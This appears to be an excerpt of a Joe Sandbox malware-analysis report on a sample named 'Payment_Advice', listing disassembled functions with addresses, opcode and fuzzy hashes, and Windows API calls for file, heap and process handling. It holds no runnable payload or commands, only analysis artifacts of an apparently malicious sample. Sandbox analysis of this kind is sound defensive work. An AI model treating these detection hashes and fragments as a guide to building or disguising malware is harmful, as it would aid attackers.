Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: b59226cb870e936fa62cef2bd984fe8c30d402c15f8ba13011dce40f8f430485
Instruction ID: 57443957aa994ddf51618c6ab4adb63bfd46b8364081013a22d4c7ac4f8f571a
Opcode Fuzzy Hash: b59226cb870e936fa62cef2bd984fe8c30d402c15f8ba13011dce40f8f430485
Instruction Fuzzy Hash: AAA011EA2A8002BC300822222C0BCBB0E0CF8C2B20330882EFC03C0080A88028820830

Uniqueness

Uniqueness Score: -1.00%

Function 0051E2A5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: 885cc418ca517aaf2cbad8e265e16115afe6ae0799f2e64b6ee7d36ae8535b58
Instruction ID: 57443957aa994ddf51618c6ab4adb63bfd46b8364081013a22d4c7ac4f8f571a
Opcode Fuzzy Hash: 885cc418ca517aaf2cbad8e265e16115afe6ae0799f2e64b6ee7d36ae8535b58
Instruction Fuzzy Hash: AAA011EA2A8002BC300822222C0BCBB0E0CF8C2B20330882EFC03C0080A88028820830

Uniqueness

Uniqueness Score: -1.00%

Function 0051E2AF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: ff30fad593e77423895b6967cee273d220965a5e6d10499a6ad142224d4ac919
Instruction ID: 57443957aa994ddf51618c6ab4adb63bfd46b8364081013a22d4c7ac4f8f571a
Opcode Fuzzy Hash: ff30fad593e77423895b6967cee273d220965a5e6d10499a6ad142224d4ac919
Instruction Fuzzy Hash: AAA011EA2A8002BC300822222C0BCBB0E0CF8C2B20330882EFC03C0080A88028820830

Uniqueness

Uniqueness Score: -1.00%

Function 0051E555 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E51F

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

(Q, xrefs: 0051E519

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: (Q
API String ID: 1269201914-982174220
Opcode ID: d08447de4e7e5e68831e1187495565395964c0e886b75b71078f8f7479416db1
Instruction ID: 8ab95022a30718df81679c212d389c7a848c6875c0d207833bff7e4f56c49c33
Opcode Fuzzy Hash: d08447de4e7e5e68831e1187495565395964c0e886b75b71078f8f7479416db1
Instruction Fuzzy Hash: B0A011E22A8002BC300822082C0BCBF0E0EE8C2F20330882EFC0280080BA800C820A30

Uniqueness

Uniqueness Score: -1.00%

Function 0051E55F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E51F

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

(Q, xrefs: 0051E519

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: (Q
API String ID: 1269201914-982174220
Opcode ID: 815a93af928843ec19d050e41f5af8d995f0e1b00ff27701814ae7547b87199f
Instruction ID: 8ab95022a30718df81679c212d389c7a848c6875c0d207833bff7e4f56c49c33
Opcode Fuzzy Hash: 815a93af928843ec19d050e41f5af8d995f0e1b00ff27701814ae7547b87199f
Instruction Fuzzy Hash: B0A011E22A8002BC300822082C0BCBF0E0EE8C2F20330882EFC0280080BA800C820A30

Uniqueness

Uniqueness Score: -1.00%

Function 0051E573 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E580

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

FvnQ, xrefs: 0051E57A

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: FvnQ
API String ID: 1269201914-3908200080
Opcode ID: 65a73a8bc9721c44062551dd930ce9aa2d77067c9ec56e47cc077dee8c9a3931
Instruction ID: 1c62238af3cc5210371a677249da51b77b969ce0968ae6386922513a2357f673
Opcode Fuzzy Hash: 65a73a8bc9721c44062551dd930ce9aa2d77067c9ec56e47cc077dee8c9a3931
Instruction Fuzzy Hash: 66A011E2AA82023C3008A2A02C0BCBB0E0EE8C0B223328A2EFC00A0080A88008820830

Uniqueness

Uniqueness Score: -1.00%

Function 0051E569 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E51F

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

(Q, xrefs: 0051E519

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: (Q
API String ID: 1269201914-982174220
Opcode ID: 456ece8ba80269568a3f7149f492ad1c9ed854d509cd83729f608ea2e86e5da9
Instruction ID: 8ab95022a30718df81679c212d389c7a848c6875c0d207833bff7e4f56c49c33
Opcode Fuzzy Hash: 456ece8ba80269568a3f7149f492ad1c9ed854d509cd83729f608ea2e86e5da9
Instruction Fuzzy Hash: B0A011E22A8002BC300822082C0BCBF0E0EE8C2F20330882EFC0280080BA800C820A30

Uniqueness

Uniqueness Score: -1.00%

Function 0051E58E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E580

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

FvnQ, xrefs: 0051E57A

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: FvnQ
API String ID: 1269201914-3908200080
Opcode ID: 0f9278c684b0b35415e01dc76a9371f18f9591a4f1c71bb89dd0735cd2532536
Instruction ID: a1e443488da4f566def488e846c691476abca60ec596aaf262e9a0f65edf05dc
Opcode Fuzzy Hash: 0f9278c684b0b35415e01dc76a9371f18f9591a4f1c71bb89dd0735cd2532536
Instruction Fuzzy Hash: A4A011E2AA8202BC3008A2A02C0BCBB0E0EE8C0B20332882EFC0280080A88008820830

Uniqueness

Uniqueness Score: -1.00%

Function 0051E5A2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E580

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

FvnQ, xrefs: 0051E57A

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: FvnQ
API String ID: 1269201914-3908200080
Opcode ID: 6faf68ee7e84a3d76166ae59835c2040be45a0743a50633204ad3e522f431193
Instruction ID: a1e443488da4f566def488e846c691476abca60ec596aaf262e9a0f65edf05dc
Opcode Fuzzy Hash: 6faf68ee7e84a3d76166ae59835c2040be45a0743a50633204ad3e522f431193
Instruction Fuzzy Hash: A4A011E2AA8202BC3008A2A02C0BCBB0E0EE8C0B20332882EFC0280080A88008820830

Uniqueness

Uniqueness Score: -1.00%

Function 0052BBF0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 0052B7BB: GetOEMCP.KERNEL32(00000000,?,?,0052BA44,?), ref: 0052B7E6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0052BA89,?,00000000), ref: 0052BC64
GetCPInfo.KERNEL32(00000000,0052BA89,?,?,?,0052BA89,?,00000000), ref: 0052BC77

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 47b639a062f6603b94904480b524ec938458398aec115ebbcf89963ea2c45b6d
Instruction ID: 662d84b7b1f757bfe914250ce890833fc9bddef97501b8a4ecdd42bb66f2178c
Opcode Fuzzy Hash: 47b639a062f6603b94904480b524ec938458398aec115ebbcf89963ea2c45b6d
Instruction Fuzzy Hash: 99513171A002669EFB208F75E8857FABFF4FF52300F18446ED4968B2D2D73499469B90

Uniqueness

Uniqueness Score: -1.00%

Function 00509A74 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-00000870,00000000,00000800,?,00509A50,?,?,00000000,?,?,00508CBC,?), ref: 00509BAB
GetLastError.KERNEL32(?,00000000,00508411,-00009570,00000000,000007F3), ref: 00509BB6

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 741ecfec9c7512583525318a24fb502be92d4ec147d740ee3b2cd1d44bf256d2
Instruction ID: 2f19aa8b59a2eb47e0ca0c8aeb9f20b6adc43a349fbebb72f662312bfe0f25c7
Opcode Fuzzy Hash: 741ecfec9c7512583525318a24fb502be92d4ec147d740ee3b2cd1d44bf256d2
Instruction Fuzzy Hash: 0E41BD706083428FDB24DF15E58456EBFE5FFD4320F148A2DE891832EAD774AD448A91

Uniqueness

Uniqueness Score: -1.00%

Function 00501E50 Relevance: 3.1, APIs: 2, Instructions: 86COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00501E55

Part of subcall function 00503BBA: __EH_prolog.LIBCMT ref: 00503BBF

_wcslen.LIBCMT ref: 00501EFD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: 3fe8341cd1254c001f0a507fbafcd599479d77b24ae1722468cd93d23bd87d05
Instruction ID: 02ef87603b7176655dabb2a98ec7496fbcab5af2325cec38c4c38ad4f842c7c7
Opcode Fuzzy Hash: 3fe8341cd1254c001f0a507fbafcd599479d77b24ae1722468cd93d23bd87d05
Instruction Fuzzy Hash: B2314B7190460AAFDF11DF98C949AEEBFF9BF88304F1044A9E845A7291CB365E40CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00509DA2 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,005073BC,?,?,?,00000000), ref: 00509DBC
SetFileTime.KERNELBASE(?,?,?,?), ref: 00509E70

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 15e2ecf69062da30ffaa28961ee6756e1f9f507f883cfbb977d200a992869c8f
Instruction ID: 172a0db809cf359bf0fbe3686c3567feb887097e5b20466ebae3e13075993763
Opcode Fuzzy Hash: 15e2ecf69062da30ffaa28961ee6756e1f9f507f883cfbb977d200a992869c8f
Instruction Fuzzy Hash: D021F032288246ABC714CF34C895AABBFE8BF91304F08491CF4D587186D328ED4DDBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0050966E Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00509F27,?,?,0050771A), ref: 005096E6
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00509F27,?,?,0050771A), ref: 00509716

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3187b038bfebb0b6c2423a6abfb8bbb52173c366db1a8c4c307ac352fe6ec74c
Instruction ID: e1655c911ecb3dfa1a34fdf8e95dbc56c705a851e0ada31d80378ab9c2a91412
Opcode Fuzzy Hash: 3187b038bfebb0b6c2423a6abfb8bbb52173c366db1a8c4c307ac352fe6ec74c
Instruction Fuzzy Hash: A121FFB15003456FE3308A64CC89BFBBBDCFB89320F000A18FAD6C61D6C7B5A8848671

Uniqueness

Uniqueness Score: -1.00%

Function 00509E80 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00509EC7
GetLastError.KERNEL32 ref: 00509ED4

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 0a6158299aa3ffc916140a71aa7cbf40d14819c40828f50944f9d0976a80c217
Instruction ID: b1af47f4cd1342204c5c7442266cccd6d6ca5a97ee3d84b1a6919f1de4f1fabb
Opcode Fuzzy Hash: 0a6158299aa3ffc916140a71aa7cbf40d14819c40828f50944f9d0976a80c217
Instruction Fuzzy Hash: D511A531640701ABD734C628CC49BAEBBEDBB45360F504A29E563D26D5D770ED89C760

Uniqueness

Uniqueness Score: -1.00%

Function 00528E54 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00528E75

Part of subcall function 00528E06: RtlAllocateHeap.NTDLL(00000000,?,?,?,00524286,?,0000015D,?,?,?,?,00525762,000000FF,00000000,?,?), ref: 00528E38

HeapReAlloc.KERNEL32(00000000,?,?,?,00000007,00541098,005017CE,?,?,00000007,?,?,?,005013D6,?,00000000), ref: 00528EB1

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 37fce5a3606daae8118637ddab7e0f1c4e22eb5b5dd0c1f16d370deece23773f
Instruction ID: 4bd6ba07b3f10c8eb37d3fb409e979ff0c5038ce786420289a25406975414a91
Opcode Fuzzy Hash: 37fce5a3606daae8118637ddab7e0f1c4e22eb5b5dd0c1f16d370deece23773f
Instruction Fuzzy Hash: 33F04F32607236669B216AE5BC09B7F2F5CBFD3B70F264525F814AA1E1DF609D0091A1

Uniqueness

Uniqueness Score: -1.00%

Function 0051109E Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 005110AB
GetProcessAffinityMask.KERNEL32(00000000), ref: 005110B2

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 3d9056ddbe1e057733116335ae4e99ea7498da68fff70b71caf92abc783d16ab
Instruction ID: 8d9c9d8967f926d38def09e43c4a92c8b90208255a29b9b0c1adbf2c113277dc
